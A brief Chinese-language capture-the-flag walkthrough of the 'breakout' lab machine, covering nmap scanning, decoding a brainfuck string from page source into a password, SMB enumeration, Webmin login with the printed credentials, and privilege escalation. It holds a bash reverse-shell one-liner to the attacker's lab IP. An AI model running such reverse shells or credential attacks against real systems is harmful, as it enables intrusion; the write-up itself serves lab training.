breakout

虚拟机配置

将靶机和攻击机放在同一网段下即可

web渗透

扫描ip
nmap -sP 192.168.11.0/24

详细扫描
nmap -A 192.168.11.102 -p 0-65535

探测80端口

右键查看源码，得到一个brainfuck编码

解码得到.2uqPEfj3D<P'a-3猜测可能为某用户的密码

139,445端口探测smb服务,搜集smb信息
enum4linux 192.168.11.102
探测到cyber用户
继续探测10000,20000端口为两个登录页面

在webmin处登录
cyber:.2uqPEfj3D<P'a-3

登录成功
发现一命令行终端

提权

发现一密码的压缩包

解压，查看内容


发现一密码，猜测为root密码

命令被ban了,反弹shell
bash -i >&/dev/tcp/192.168.11.146/4444 0>&1


提权成功
得到flag